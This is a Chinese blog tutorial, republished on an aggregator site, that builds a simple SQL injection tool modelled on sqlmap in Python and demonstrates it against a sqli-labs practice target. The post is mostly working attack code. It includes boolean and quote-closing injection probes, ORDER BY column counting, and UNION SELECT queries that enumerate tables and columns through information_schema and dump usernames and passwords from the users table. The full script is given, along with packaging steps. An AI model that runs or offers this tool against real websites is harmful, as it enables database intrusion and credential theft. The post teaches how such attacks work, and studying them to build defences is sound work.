您当前的位置:首页 > 电脑百科 > 安全防护 > 数据安全

网络安全初入茅庐 --- 简易 sqlmap 制作

时间:2020-08-12 10:07:08  来源:  作者:

前景提要

学习网络安全有一段时间了,用惯了其他人编写的工具,决心自己写一个入门级别比较简单的小工具自己使用练习。

运行演示

  1. 进入一个 sqli-lab 的靶场当作测试网站
网络安全初入茅庐 --- 简易 sqlmap 制作

 

2.获取其 url 地址:https://96e2b87c-897e-3af7-bdc1-fdfea8bde004-1.anquanlong.com/Less-1/index.php?id=1

3.运行程序

网络安全初入茅庐 --- 简易 sqlmap 制作

 

代码解析

  1. 首先检测网站是否存在 sql 注入,通过闭合单双引号以及布尔判断检测
def can_inject(text_url):
    text_list = ["%27","%22"]
    for item in text_list:
        target_url1 = text_url + str(item) + "%20" + "and%201=1%20--+"
        target_url2 = text_url + str(item) + "%20" + "and%201=2%20--+"
        result1 = send_request(target_url1)
        result2 = send_request(target_url2)
        soup1 = BeautifulSoup(result1,'html.parser')
        fonts1 = soup1.find_all('font')
        content1 = str(fonts1[2].text)
        soup2 = BeautifulSoup(result2,'html.parser')
        fonts2 = soup2.find_all('font')
        content2 = str(fonts2[2].text)
        if content1.find('Login') != -1 and content2 is None or content2.strip() is '':
            log('使用' + item + "发现数据库漏洞")
            return True,item
        else:log('使用' + item + "未发现数据库漏洞")
    return False,None
123456789101112131415161718
  1. 如果检测出存在 sql 注入漏洞的话,通过 order by 检测字段列数
def text_order_by(url,symbol):
    flag = 0
    for i in range(1,100):
        log('正在查找字段' + str(i))
        text_url = url + symbol + "%20order%20by%20" + str(i) + "--+"
        result = send_request(text_url)
        soup = BeautifulSoup(result,'html.parser')
        fonts = soup.find_all('font')
        content = str(fonts[2].text)
        if content.find('Login') == -1:
            log('获取字段成功 -> ' + str(i) + "个字段")
            flag = i
            break
    return flag
1234567891011121314
  1. 拿到每个字段后根据 union_select 联合查询检测可视化位置和字段位置
def text_union_select(url,symbol,flag):
    prefix_url = get_prefix_url(url)
    text_url = prefix_url + "=0" + symbol + "%20union%20select%20"
    for i in range(1,flag):
        if i == flag - 1:text_url += str(i) + "%20--+"
        else:text_url += str(i) + ","
    result = send_request(text_url)
    soup = BeautifulSoup(result,'html.parser')
    fonts = soup.find_all('font')
    content = str(fonts[2].text)
    for i in range(1,flag):
        if content.find(str(i)) != -1:
            temp_list = content.split(str(i))
            return i,temp_list
1234567891011121314
  1. 通过访问网页找到网页内容获取数据库名
def get_database(url,symbol):
    text_url = url + symbol + "aaaaaaaaa"
    result = send_request(text_url)
    if result.find('MySQL') != -1:return "MySQL"
    elif result.find('Oracle') != -1:return "Oracle"
12345
  1. 获取数据表名
def get_tables(url,symbol,flag,index,temp_list):
    prefix_url = get_prefix_url(url)
    text_url = prefix_url + "=0" +symbol + "%20union%20select%20"
    for i in range(1,flag):
        if i == index:text_url += "group_concat(table_name)" + ","
        elif i == flag - 1:text_url += str(i) + "%20from%20information_schema.tables%20where%20table_schema=database()%20--+"
        else:text_url += str(i) + ","
    result = send_request(text_url)
    soup = BeautifulSoup(result,'html.parser')
    fonts = soup.find_all('font')
    content = str(fonts[2].text)
    return content.split(temp_list[0])[1].split(temp_list[1])[0]
123456789101112
  1. 获取字段名
def get_columns(url,symbol,flag,index,temp_list):
    prefix_url = get_prefix_url(url)
    text_url = prefix_url + "=0" +symbol + "%20union%20select%20"
    for i in range(1,flag):
        if i == index:text_url += "group_concat(column_name)" + ","
        elif i == flag - 1:
            text_url += str(i) + "%20from%20information_schema.columns%20where%20" 
                    "table_name='users'%20and%20table_schema=database()%20--+"
        else:text_url += str(i) + ','
    result = send_request(text_url)
    soup = BeautifulSoup(result,'html.parser')
    fonts = soup.find_all('font')
    content = str(fonts[2].text)
    return content.split(temp_list[0])[1].split(temp_list[1])[0]
1234567891011121314
  1. 获取字段内容
def get_data(url,symbol,flag,index,temp_list):
    prefix_url = get_prefix_url(url)
    text_url = prefix_url + "=0" +symbol + "%20union%20select%20"
    for i in range(1,flag):
        if i == index:text_url += "group_concat(id,0x3a,username,0x3a,password)" + ","
        elif i == flag - 1:text_url += str(i) + '%20from%20users%20--+'
        else:text_url += str(i) + ","
    result = send_request(text_url)
    soup = BeautifulSoup(result,'html.parser')
    fonts = soup.find_all('font')
    content = str(fonts[2].text)
    return content.split(temp_list[0])[1].split(temp_list[1])[0]
123456789101112
  1. 得到每个字段后,循环遍历出字段中的内容在输出位置显示
datas = get_data(url, symbol, flag, index, temp_list).split(',')
temp = columns.split(',')
print('%-12s%-12s%-12s' % (temp[0], temp[1], temp[2]))
for data in datas:
    temp = data.split(':')
    print('%-12s%-12s%-12s' % (temp[0], temp[1], temp[2]))
123456

完整代码

### imitate_sqlmap.py
import time,requests
from bs4 import BeautifulSoup

def log(content):
    this_time = time.strftime('%H:%M:%S',time.localtime(time.time()))
    print("["+str(this_time)+"]" + content)

def send_request(url):
    res = requests.get(url)
    result = str(res.text)
    return result

def can_inject(text_url):
    text_list = ["%27","%22"]
    for item in text_list:
        target_url1 = text_url + str(item) + "%20" + "and%201=1%20--+"
        target_url2 = text_url + str(item) + "%20" + "and%201=2%20--+"
        result1 = send_request(target_url1)
        result2 = send_request(target_url2)
        soup1 = BeautifulSoup(result1,'html.parser')
        fonts1 = soup1.find_all('font')
        content1 = str(fonts1[2].text)
        soup2 = BeautifulSoup(result2,'html.parser')
        fonts2 = soup2.find_all('font')
        content2 = str(fonts2[2].text)
        if content1.find('Login') != -1 and content2 is None or content2.strip() is '':
            log('使用' + item + "发现数据库漏洞")
            return True,item
        else:log('使用' + item + "未发现数据库漏洞")
    return False,None

def text_order_by(url,symbol):
    flag = 0
    for i in range(1,100):
        log('正在查找字段' + str(i))
        text_url = url + symbol + "%20order%20by%20" + str(i) + "--+"
        result = send_request(text_url)
        soup = BeautifulSoup(result,'html.parser')
        fonts = soup.find_all('font')
        content = str(fonts[2].text)
        if content.find('Login') == -1:
            log('获取字段成功 -> ' + str(i) + "个字段")
            flag = i
            break
    return flag

def get_prefix_url(url):
    splits = url.split('=')
    splits.remove(splits[-1])
    prefix_url = ''
    for item in splits:
        prefix_url += str(item)
    return prefix_url

def text_union_select(url,symbol,flag):
    prefix_url = get_prefix_url(url)
    text_url = prefix_url + "=0" + symbol + "%20union%20select%20"
    for i in range(1,flag):
        if i == flag - 1:text_url += str(i) + "%20--+"
        else:text_url += str(i) + ","
    result = send_request(text_url)
    soup = BeautifulSoup(result,'html.parser')
    fonts = soup.find_all('font')
    content = str(fonts[2].text)
    for i in range(1,flag):
        if content.find(str(i)) != -1:
            temp_list = content.split(str(i))
            return i,temp_list

def exec_function(url,symbol,flag,index,temp_list,function):
    prefix_url = get_prefix_url(url)
    text_url = prefix_url + "=0" + symbol + "%20union%20select%20"
    for i in range(1,flag):
        if i == index:text_url += function + ","
        elif i == flag - 1:text_url += str(i) + "%20--+"
        else:text_url += str(i) + ","
    result = send_request(text_url)
    soup = BeautifulSoup(result,'html.parser')
    fonts = soup.find_all('font')
    content = str(fonts[2].text)
    return content.split(temp_list[0])[1].split(temp_list[1])[0]
    
def get_database(url,symbol):
    text_url = url + symbol + "aaaaaaaaa"
    result = send_request(text_url)
    if result.find('MySQL') != -1:return "MySQL"
    elif result.find('Oracle') != -1:return "Oracle"

def get_tables(url,symbol,flag,index,temp_list):
    prefix_url = get_prefix_url(url)
    text_url = prefix_url + "=0" +symbol + "%20union%20select%20"
    for i in range(1,flag):
        if i == index:text_url += "group_concat(table_name)" + ","
        elif i == flag - 1:text_url += str(i) + "%20from%20information_schema.tables%20where%20table_schema=database()%20--+"
        else:text_url += str(i) + ","
    result = send_request(text_url)
    soup = BeautifulSoup(result,'html.parser')
    fonts = soup.find_all('font')
    content = str(fonts[2].text)
    return content.split(temp_list[0])[1].split(temp_list[1])[0]

def get_columns(url,symbol,flag,index,temp_list):
    prefix_url = get_prefix_url(url)
    text_url = prefix_url + "=0" +symbol + "%20union%20select%20"
    for i in range(1,flag):
        if i == index:text_url += "group_concat(column_name)" + ","
        elif i == flag - 1:
            text_url += str(i) + "%20from%20information_schema.columns%20where%20" 
                    "table_name='users'%20and%20table_schema=database()%20--+"
        else:text_url += str(i) + ','
    result = send_request(text_url)
    soup = BeautifulSoup(result,'html.parser')
    fonts = soup.find_all('font')
    content = str(fonts[2].text)
    return content.split(temp_list[0])[1].split(temp_list[1])[0]

def get_data(url,symbol,flag,index,temp_list):
    prefix_url = get_prefix_url(url)
    text_url = prefix_url + "=0" +symbol + "%20union%20select%20"
    for i in range(1,flag):
        if i == index:text_url += "group_concat(id,0x3a,username,0x3a,password)" + ","
        elif i == flag - 1:text_url += str(i) + '%20from%20users%20--+'
        else:text_url += str(i) + ","
    result = send_request(text_url)
    soup = BeautifulSoup(result,'html.parser')
    fonts = soup.find_all('font')
    content = str(fonts[2].text)
    return content.split(temp_list[0])[1].split(temp_list[1])[0]

def sqlmap(url):
    log('欢迎来到SQL注入工具')
    log('正在进行SQL注入')
    result,symbol = can_inject(url)
    if not result:
        log('此网站不存在SQL漏洞,退出SQL注入')
        return False
    log('此网站存在SQL注入漏洞,请等待')
    flag = text_order_by(url,symbol)
    index,temp_list = text_union_select(url,symbol,flag)
    database = get_database(url,symbol)
    version = exec_function(url,symbol,flag,index,temp_list,'version()')
    this_database = exec_function(url,symbol,flag,index,temp_list,'database()')
    log('当前数据库 -> '+ database.strip() + version.strip())
    log('数据库名 -> ' + this_database.strip())
    tables = get_tables(url,symbol,flag,index,temp_list)
    log('数据表名 -> ' + tables.strip())
    columns = get_columns(url,symbol,flag,index,temp_list)
    log('数据列 -> ' + columns .strip())
    log('试图得到全部列...')
    datas = get_data(url, symbol, flag, index, temp_list).split(',')
    temp = columns.split(',')
    print('%-12s%-12s%-12s' % (temp[0], temp[1], temp[2]))
    for data in datas:
        temp = data.split(':')
        print('%-12s%-12s%-12s' % (temp[0], temp[1], temp[2]))
123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156

PyPi打包为可执行文件

在 cfg 文件中添加 entry_points 参数即可。entry_points参数为一个imitate_sqlmap通过setuptools注册的一个外部可以直接调用的接口。在imitate_sqlmap的setup.py里注册entry_points如下:

setup(
    name='imitate_sqlmap',
    entry_points={
       'imitate_sqlmap.api.sqlmap':[
          'databases=imitate_sqlmap.api.sqlmap.databases:main',
           ],
 )
1234567

该 setup() 函数注册了一个 entry_point ,属于 imitate_sqlmap.api.sqlmap.group 。注意,如果多个其它不同的 imitate_sqlmap 利用 imitate_sqlmap.api.sqlmap 来注册 entry_point ,那么我用 imitate_sqlmap.api.sqlmap 来访问 entry_point 时,将会获取所有已注册过的 entry_point。



Tags:sqlmap   点击:()  评论:()
声明:本站部分内容及图片来自互联网,转载是出于传递更多信息之目的,内容观点仅代表作者本人,如有任何标注错误或版权侵犯请与我们联系(Email:2595517585@qq.com),我们将及时更正、删除,谢谢。
▌相关推荐
前言最近挖edusrc的时候遇到有注入点但是有waf绕不过,头疼。 可以看到还是phpstudy建站的,太熟悉了这个,不知道这个什么waf各位师傅知道的可以评论一下,所以写这篇文章是供各位...【详细内容】
2021-08-13  Tags: sqlmap  点击:(63)  评论:(0)  加入收藏
在实际渗透测试过程中,当发现目标站点存在SQL注入漏洞,一般都是交给sqlmap等工具来自动处理,证明其存在SQL注入漏洞以及获取数据库;如果当前网站使用的数据库用户为root账号,则还...【详细内容】
2021-01-08  Tags: sqlmap  点击:(131)  评论:(0)  加入收藏
前景提要学习网络安全有一段时间了,用惯了其他人编写的工具,决心自己写一个入门级别比较简单的小工具自己使用练习。运行演示 进入一个 sqli-lab 的靶场当作测试网站。 2.获取...【详细内容】
2020-08-12  Tags: sqlmap  点击:(90)  评论:(0)  加入收藏
关于动态代码防御机制,是自己瞎取的名字,目前我还没有看到过类似的文章。如果有前辈已经发表过,纯属巧合!!!我仅是突发奇想的一个想法,说不上高大上。也就是想说出这个想法。说不定...【详细内容】
2020-08-11  Tags: sqlmap  点击:(94)  评论:(0)  加入收藏
摘要: SQLMap相信大家都不陌生,这篇文章将会告诉大家如何使用 SQLMap 的一些功能来绕过 WAF / IDS,快来一起学习吧!Web 应用防火墙已经成为众多企业的安全解决方案,然而还是有许...【详细内容】
2020-03-27  Tags: sqlmap  点击:(130)  评论:(0)  加入收藏
今天搭建了一个asp+mssql数据库的环境用于安全测试学习1.判断注入点及获取网站信息:sqlmap -u http://192.168.1.30/1/onews.asp?id=8 web server operating system: Windows...【详细内容】
2020-03-18  Tags: sqlmap  点击:(610)  评论:(0)  加入收藏
本文仅用于讨论网络安全技术,以保护信息安全为目的,请勿用于非法用途! 前面讲过sqlmap入门参数,这里主要讲解sqlmap的进阶参数。--level 5:探测等级这个参数指需要执行的测试等级...【详细内容】
2020-02-22  Tags: sqlmap  点击:(142)  评论:(0)  加入收藏
1、 sqlmap介绍sqlmap是一款支持MySQL, Oracle,PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird,Sybase和SAP MaxDB等数据库的各种安全漏...【详细内容】
2019-11-20  Tags: sqlmap  点击:(211)  评论:(0)  加入收藏
▌简易百科推荐
众所周知,Windows系统流氓软件众多,其中不乏出身大厂的产品。这些带有流氓性质的软件,很多都会偷偷扫描系统数据,读取用户文件,造成电脑卡顿拖慢不说,还严重侵害了个人隐私,造成巨...【详细内容】
2021-12-06  趣玩APPS    Tags:流氓软件   点击:(16)  评论:(0)  加入收藏
前言目标是一大学,在一次挖洞过程中遇到个sql注入,尝试进一步利用扩大危害,漏洞已报送平台进行了修复私信我获取网络安全学习资料 1.2000多本网络安全系列电子书 2.网络安全标...【详细内容】
2021-11-26  IT野涵    Tags:sql注入   点击:(21)  评论:(0)  加入收藏
互联网时代,不论是个人还是组织,都将数据视为一项重要的资产。为了便于存储、管理,企业常常会为各项数据建立一个数据库,如果没有做好安全风险防护,一旦数据库被攻占,企业将迎来很...【详细内容】
2021-10-28  快快网络   企鹅号  Tags:数据库   点击:(50)  评论:(0)  加入收藏
前言(可能思路狭隘,有缺有错,师傅们多带带)【查看资料】Author: 0ne本篇文章数据来源于18+省市级别HVV,90+单位失陷报告。(一部分是笔者的参与,一部分是薅的公司其他师傅的报告...【详细内容】
2021-10-28  IT野涵    Tags:缺口   点击:(46)  评论:(0)  加入收藏
本人也是小白一枚,大佬请绕过,这个其实是六月份的时候做的,那时候想多点实战经验,就直接用谷歌搜索找了一些网站,这个是其中一个1、目标网站 2、发现有WAF防护 3、判断存在注入...【详细内容】
2021-10-19    博客园  Tags:SQL注入   点击:(51)  评论:(0)  加入收藏
一 前言本文将针对开发过程中依旧经常出现的SQL编码缺陷,讲解其背后原理及形成原因。并以几个常见漏洞存在形式,提醒技术同学注意相关问题。最后会根据原理,提供解决或缓解方案...【详细内容】
2021-09-17  woaker    Tags:SQL注入漏洞   点击:(65)  评论:(0)  加入收藏
前言本人ctf选手一名,在最近做练习时遇到了一些sql注入的题目,但是sql注入一直是我的弱项之一,所以写一篇总结记录一下最近学到的一些sql注入漏洞的利用。可回显注入联合注入在...【详细内容】
2021-08-26  合天网安实验室    Tags:sql注入   点击:(59)  评论:(0)  加入收藏
“放纵自己的欲望是最大的祸害,窥探别人的隐私是最大的罪恶,不知自己的过失是最大的病痛”。 上文咱们知道了目前互联网的数据安全存在隐患,数据安全的问题,每天都在发生,只不过...【详细内容】
2021-08-13  小陶子矿工    Tags:IPFS   点击:(79)  评论:(0)  加入收藏
前言最近挖edusrc的时候遇到有注入点但是有waf绕不过,头疼。 可以看到还是phpstudy建站的,太熟悉了这个,不知道这个什么waf各位师傅知道的可以评论一下,所以写这篇文章是供各位...【详细内容】
2021-08-13  IT影子    Tags:sql注入   点击:(63)  评论:(0)  加入收藏
1. 使用 Burpsuite: 1. Capture the request using burpsuite. 2. Send the request to burp scanner. 3. Proceed with active scan. 4. Once the scan is finished, l...【详细内容】
2021-08-04  李志宽    Tags:SQL注入   点击:(74)  评论:(0)  加入收藏
最新更新
栏目热门
栏目头条